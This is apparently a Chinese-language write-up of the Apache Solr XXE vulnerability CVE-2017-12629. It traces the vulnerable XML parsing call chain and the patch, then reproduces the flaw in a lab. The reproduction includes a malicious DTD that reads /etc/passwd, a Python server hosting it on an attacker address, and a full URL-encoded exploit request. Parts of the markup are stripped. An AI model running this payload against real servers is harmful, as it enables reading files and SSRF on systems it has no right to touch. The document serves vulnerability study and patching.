漏洞名称:Apache Solr XML实体注入漏洞(XXE)
漏洞编号:CVE-2017-12629
CVSS 评分:9.8
影响版本:Apache Solr < 7.1.0,Apache Lucene < 7.1
修复版本:Apache Solr 7.1.0
CVE-2017-12629 是 Apache Solr 中的高危 XML实体注入(XXE)漏洞。攻击者通过向 Solr 的 XML 查询接口(defType=xmlparser
)发送恶意构造的 XML 数据,触发外部实体解析,导致 任意文件读取、内网探测 或 SSRF攻击。该漏洞的核心问题在于 Solr 的 XML 解析器未禁用外部实体加载,且默认开放高危查询功能。
xmlparser
查询解析器(基于Lucene的 CoreParser
类)在处理用户输入的 XML 数据时,未配置安全参数(如禁用 DTD 或外部实体),导致攻击者可注入恶意实体引用。/select
查询接口默认启用 defType=xmlparser
,且无需身份验证,为攻击提供直接入口。当用户发送包含恶意XML的查询请求时:
GET /solr/demo/select?q=&defType=xmlparser
Solr路由到XmlQParserPlugin
处理请求:
public QParser createParser(String qstr, SolrParams localParams, SolrParams params, SolrQueryRequest req) {
return new XmlQParser(qstr, localParams, params, req); // 创建XML解析器
}
XmlQParser.parse()
public Query parse() throws SyntaxError {
String qstr = getString(); // 获取用户输入的q参数(包含恶意XML)
if (qstr == null || qstr.isEmpty()) return null;
SolrCoreParser solrParser = new SolrCoreParser(defaultField, analyzer, this.req);
solrParser.init(XmlQParserPlugin.this.args);
// 关键漏洞点:将用户输入直接解析为XML
return solrParser.parse(new ByteArrayInputStream(qstr.getBytes(StandardCharsets.UTF_8)));
}
漏洞点分析:
ByteArrayInputStream
将用户输入的字符串转为XML输入流SolrCoreParser.parse()
SolrCoreParser
继承自Lucene的CoreParser
类:
// 父类方法:org.apache.lucene.queryparser.xml.CoreParser#parse
public Query parse(InputStream xmlStream) throws ParserException {
return getQuery(parseXML(xmlStream).getDocumentElement());// 调用存在缺陷的XML解析方法
}
// 漏洞根源方法
static Document parseXML(InputStream pXmlFile) throws ParserException {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = null;
try {
db = dbf.newDocumentBuilder();// 未配置安全参数!
}
catch (Exception se) {
throw new ParserException("XML Parser configuration error", se);
}
Document doc = null;
try {
doc = db.parse(pXmlFile);// 触发外部实体解析
}
catch (Exception se) {
throw new ParserException("Error parsing XML stream:" + se, se);
}
return doc;
}
致命缺陷:
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
[用户请求]
↓ GET /select?q=&defType=xmlparser
↓
XmlQParserPlugin.createParser()
↓
XmlQParser.parse()
↓ 将用户输入转为InputStream
SolrCoreParser.parse(InputStream)
↓
CoreParser.parseXML()
↓
DocumentBuilder.parse()
↓
加载外部实体 → 文件读取/SSRF
修复版本:Solr 7.1.0+
补丁代码:
// 修复后的parseXML方法
static Document parseXML(InputStream pXmlFile) throws ParserException {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
// 新增安全配置
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
DocumentBuilder db = dbf.newDocumentBuilder();
return db.parse(pXmlFile);
}
修复效果:
docker-compose up -d
http://target:8983
,确认服务正常运行do.dtd
文件读取/etc/passwd
文件<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % ent "">
python -m http.server 80
DOCTYPE x[
%xxe;
%ent;
]>
<x>&data;x>
//192.168.1.1:80换为自己的地址
%3c%3fxml+version%3d%221.0%22+%3f%3e%0a%3c!DOCTYPE+x%5b%0a%3c!ENTITY+%25+xxe+SYSTEM+%22http%3a%2f%2f192.168.1.1%3a80%2fdo.dtd%22%3e%0a%25xxe%3b%0a%25ent%3b%0a%5d%3e%0a%3cx%3e%26data%3b%3c%2fx%3e
GET solr/demo/select?q=%3c%3fxml+version%3d%221.0%22+%3f%3e%0a%3c!DOCTYPE+x%5b%0a%3c!ENTITY+%25+xxe+SYSTEM+%22http%3a%2f%2f192.168.1.1%3a80%2fdo.dtd%22%3e%0a%25xxe%3b%0a%25ent%3b%0a%5d%3e%0a%3cx%3e%26data%3b%3c%2fx%3e&defType=xmlparser
//注意后面的&defType=xmlparser
CVE-2017-12629的XXE漏洞源于Solr在XML解析链中的三重缺陷:
DocumentBuilderFactory
未启用安全特性file://
、http://
等危险协议通过XmlQParserPlugin→SolrCoreParser→CoreParser.parseXML()
的调用链,恶意实体得以执行。
参考链接